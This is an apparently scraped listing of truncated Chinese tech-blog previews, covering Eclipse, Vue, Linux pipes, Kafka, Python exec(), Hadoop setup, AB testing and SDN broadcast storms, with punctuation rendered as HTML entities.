最近听闻你成绩有点不理想&#xff0c;爸爸想跟你讲几个想法。 之前学羽毛球的时候&#xff0c;我往往带有期望&#xff0c;希望你能学成像林丹一样。每次你去上课&#xff0c;我也在旁边盯着&#xff0c;后来我发现效果不好&#xff0c;你好像很害怕我说你&#xff0c;学的也不…...

eclipse导入svn项目,项目有红色的感叹号/叉号

eclipse导入svn项目&#xff0c;项目左下角有红色的感叹号/叉号 1.首先调出Problems ( window -> show view-> Problems ) 查看报错信息 其次&#xff0c;看看Project是否开启了项目自动构建&#xff08;Build Automatically&#xff09; 2.根据报错信息逐一解决 3.…...

基于 Serverless 架构的 CI/CD 框架:Serverless-cd

近日&#xff0c;Serverless 开发者平台 Serverless Devs 重磅发布基于 Serverless 架构的轻量级 CI/CD 框架 ——Serverless-cd。Serverless-cd 是一款运行在 Serverless 架构上的功能强大而灵活&#xff0c;安全&#xff0c;低成本的 CI/CD 开源框架。该框架基于 Serverless …...

Vue Class与Style绑定

Vue Class与Style绑定1 Class绑定1.1 字符串写法1.2 数组写法1.3 对象写法2 Style绑定2.1 对象写法2.2 数组写法1 Class绑定 在Vue中&#xff0c;如果要为某个元素动态添加某个类&#xff0c;并不会使用document.getElementById等选择器将该元素获得&#xff0c;而是使用v-bin…...

制作一个谷歌浏览器插件,实现网页数据爬虫

一、什么是浏览器插件 浏览器插件&#xff0c;基于浏览器的原有功能&#xff0c;另外增加新功能的工具&#xff0c;是可定制浏览体验的小型软件程序&#xff0c;让用户可以根据个人需要或偏好来定制浏览器。 如拦截网页中的广告、划词翻译、倍速视频等等。 Chrome、edge等浏…...

Java实验七

文章目录前言一、判断E盘指定目录下是否有后缀名为.jpg的文件&#xff0c;如果有就输出此文件名称。二、分别使用字节流和字节缓冲流的两种读取方式实现对图片文件的复制操作并比较两种方式在复制时间上的效率。三、编写一个程序&#xff0c;分别使用转换流、字符流和缓冲字符流…...

Linux文件系统——文件系统、挂载点、目录结构

目录 一、目录结构 1.1 基本介绍 1.2 详细说明目录作用 二、挂载点 一、目录结构 1.1 基本介绍 Linux是一切皆文件&#xff0c;将所用的东西当做文件处理 目录结构就是一个单一的树状结构 整个的目录树只有一个树根&#xff1a;/ 根目录 文件夹分门别类的放到根目录…...

Linux——匿名管道、命名管道及进程池概念和实现原理

目录 一.什么是匿名管道 二.如何使用匿名管道 &#xff08;一&#xff09;.pipe原理 &#xff08;二&#xff09;.pipe使用 三.命名管道概念及区别 &#xff08;一&#xff09;.什么是命名管道 &#xff08;二&#xff09;.与匿名管道的联系和区别 四.命名管道的使用 &…...

[附源码]计算机毕业设计基于SpringBoot的高校课程知识库

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…...

齐护K210系列教程(二十七)_语音识别

语音识别 1.烧录固件和模型2.语音识别程序2.1训练并识别2.2使用本地文件语音识别 3.课程资源联系我们 1.烧录固件和模型 注&#xff1a;本应用只适用于有麦克风功能的型号&#xff1a;AIstart_pro、AIstart_掌机、AIstart_Mini, 其它型号不支持&#xff01; 机器码生成以及模…...

基于 Spring Boot 博客系统开发(十)

基于 Spring Boot 博客系统开发&#xff08;十&#xff09; 本系统是简易的个人博客系统开发&#xff0c;为了更加熟练地掌握 SprIng Boot 框架及相关技术的使用。&#x1f33f;&#x1f33f;&#x1f33f; 基于 Spring Boot 博客系统开发&#xff08;九&#xff09;&#x1f…...

05_kafka-整合springboot

文章目录 kafka 整合 springboot pom.xml <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.1.5.RELEASE</version> </parent> <dependencies>&…...

JavaScript-JSON对象

JSON格式 JSON&#xff08;JavaScript Object Notation, JS对象简谱&#xff09;是一种轻量级的数据交换格式。它基于ECMAScript&#xff08;European Computer Manufacturers Association, 欧洲计算机协会的一个子集&#xff0c;采用完全独立于编程语言的文本格式来存储和表示…...

Python中的exec()函数,动态执行代码的利器

简介 在Python编程中&#xff0c;exec()函数是一个强大的工具&#xff0c;它允许你执行存储在字符串或对象中的Python代码。这种动态执行代码的能力为脚本编写、自动化测试、以及快速原型开发提供了极大的便利。 exec()函数的基本用法 exec()函数可以执行作为字符串输入的Py…...

【Python】os.scandir()函数示例以及和os.listdir()函数的对比优势

在 Python 中&#xff0c;os.scandir() 函数是一个用来列出指定目录下的条目&#xff08;包括文件和子目录&#xff09;的高效方式。它返回一个迭代器&#xff0c;不仅可以迭代目录中的所有条目&#xff0c;还能访问每个条目的文件属性&#xff0c;如文件类型、文件大小等&…...

Windows 安装mysql 和 Redis

mysql Windows 图形界面安装&#xff1a; 下载mysql https://dev.mysql.com/downloads/ 1.下载完成后,找到文件双击安装程序 2. 等待一段时间&#xff0c; 选择默认&#xff0c;点击next 3. 选择安装目录 下载mysql产品 安装mysql产品 产品配置向导 安装…...

基于CentOS-7搭建hadoop3.3.6大数据集群(保姆级教程)

目录 安装虚拟机 为hadoop用户添加权限 关闭防火墙 修改主机名以及ip地址映射 配置ip 连接xshell &#xff0c;以hadoop用户登录 创建目录并将该文件夹权限赋予hadoop用户 安装配置jdk 关闭虚拟机&#xff0c;克隆其他两个节点 修改主机名和ip地址 配置免密登录 安装…...

AB实验求置信区间和p值

做AB实验&#xff0c;实验组的数值分别为&#xff1a;0.70, 0.697, 0.693, 0.694, 0.726&#xff0c;对照组的0.711, 0.701, 0.695, 0.6956, 0.7287。如何求置信区间和p值? 为了计算AB两组数据的置信区间和p值&#xff0c;我们首先需要确定要使用的统计检验。由于我们有两组独…...

Spring的IOC(Inversion of Control)设计模式

Spring的IOC&#xff08;Inversion of Control&#xff09;是一种设计模式&#xff0c;它通过控制反转的思想来降低组件之间的耦合度。在Spring框架中&#xff0c;IOC容器负责管理应用程序中的对象&#xff0c;使得对象之间的依赖关系由容器来维护和注入。 以下是Spring IOC的…...

Day29

回溯算法part03 LC39组合总和(未掌握) 未掌握分析&#xff1a;被数组中的元素可以被重复选取误导&#xff0c;同时没有想到暴力解法来理解回溯 暴力解法肯定是for循环遍历candidates中的每个元素&#xff0c;下一层子循环不像之前的组合题目那样从i1开始&#xff0c;该题目元…...

3-3 基于RYU的流量风暴事件原理与响应策略

在传统网络中&#xff0c;存在着一定的广播流量&#xff0c;占据了一部分的网络带宽。同时&#xff0c;在有环的拓扑中&#xff0c;如果不运行某些协议&#xff0c;广播数据还会引起网络风暴&#xff0c;使网络瘫痪。 如有以下的一个网络拓扑结构&#xff08;3_2_topoplus.py) …...